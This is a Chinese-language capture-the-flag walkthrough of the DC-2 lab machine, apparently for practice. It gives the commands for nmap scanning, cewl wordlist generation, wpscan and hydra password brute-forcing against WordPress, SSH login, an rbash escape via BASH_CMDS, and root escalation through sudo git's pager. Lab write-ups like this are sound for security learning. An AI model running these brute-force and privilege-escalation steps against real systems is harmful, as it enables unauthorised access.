要准备一台kali
一台dc2的靶机 靶机下载地址:https
目录
一、信息收集
1.主机发现
nmap -sn 192.168.77.0/24
2.端口扫描
nmap -A -p- 192.168.77.133 (扫描全部端口)
发现开放了80(apache)端口和7744(ssh)端口
3.访问ip地址
发现访问失败
我在网上看到的教程需要把hosts解析文件给配置一下就可以了
Linux路径
vim/etc/hosts
windows路径
C:\Windows\System32\drivers\etc
这次我们来进行访问一下,发现访问成功
成功跳转进来了
搭眼一看发现是wordpress的cms,之前我们打过一个靶机就是这个的
我们再来研究研究
我们在页面上发现了flag的字样
我们进去看一下
发现事情并不是想想的那么简单,但是我们翻译一下就发现简单许多了
看下面说的可以用cewl字典生成工具,这个就是可以将网站上的所有敏感的密码生成到一个文件里面
二、密码爆破
cewl http://dc-2/ -w ~/dc2.txt //生成字典
发现生成了好多敏感的密码
用户名枚举
wpscan --url http://dc-2 -e u
发现枚举出来了三个
admin tom jerry
将这个三个用户名放到一个txt文档里面,方便到后面进行爆破
暴力破解
1.wpscan
wpscan --url http://dc-2 --passwords /dc2.txt --usernames /dc2user.txt
Username: jerry, Password: adipiscing
Username: tom, Password: parturient
发现爆出来了tom和jerry
2.hydra
使用hydra表单暴力破解(上一种方法就可以,我这里为了复习一下知识,所以都写上了)
这个情况我们就需要先抓包,进行分析他的表单,要找到后台的表单就需要先知道他的后台登录的目录,然后我们要结合(三)进行目录爆破
再使用这个hydra来做
进行抓包
我们也可以在bp种进行暴力破解
然后构造hydra的payload
hydra -L dc2user.txt -P dc2.txt dc-2 http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'
说实话用九头蛇非常麻烦,不如用上一个wpscan
3.brup
使用bp进行暴力破解
首先将抓的包发送到暴力破解模块
设置攻击为最后一个集束炸弹
设置payload
然后进行爆破就可以了
三、目录爆破
只单单是这样还是不够的,我们需要进行爆破目录,因为我们现在还不知道他的后台,这样没法暴力破解他的密码
dirb http://dc-2
首先我们进入他的后台登录页面
使用我们刚才爆破出来的密码,进行登录
Username: jerry, Password: adipiscing
Username: tom, Password: parturient
我们使用jerry登录进去之后,点击flag2给的提示
这个提示说的不能用wordpress走捷径,所以我们只能利用之前的信息收集
发现了22端口也开放着,我们又知道了两个用户名和密码
登录一下试试
ssh -p 7744 tom@192.168.77.133
在经历了很多次的不明文密码的输入,终于登录成了
进入终端命令行第一件事肯定要查看当前目录有什么,当我们进行cat的时候,发现了
他说没有这个命令,怎么可能呢,我去网上搜了一下,说的意思好像是有rbash的限制,我们要做的就是绕过rbash进行提权
四、提权
切换用户
查看文件,发现flag3,txt 执行命令发现 command not found,这是因为ssh远程连接到服务器的环境变量中不包含对应可执行文件的路径。需要自行添加
tom@DC-2:~$ BASH_CMDS[a]=/bin/sh;a
$ /bin/bash
tom@DC-2:~$ export PATH=$PATH:/bin/
tom@DC-2:~$ export PATH=$PATH:/usr/bin
发现配置完成之后,可以直接进行执行命令
我们在翻译一下内容是什么意思
大概就是要切换到jerry用户
发现切换成功
我们在进行查看一下目录里面有什么东西
在home目录下边的jerry的目录下边存在flag4.txt
我们翻译过来看一下说的什么提示
大概是让我们提权的意思
以下是看的教程
查看jerry可以以root用户的身份执行git命令并且不需要密码
提权
两种方法
1、sudo git help config
在末行命令模式输入 !/bin/bash 或 !'sh' 完成提权
2、sudo git -p help
!/bin/bash
我们这里用的第一种方法
发现提权成功
我们找找最后一个flag
在~目录下边
完成~~~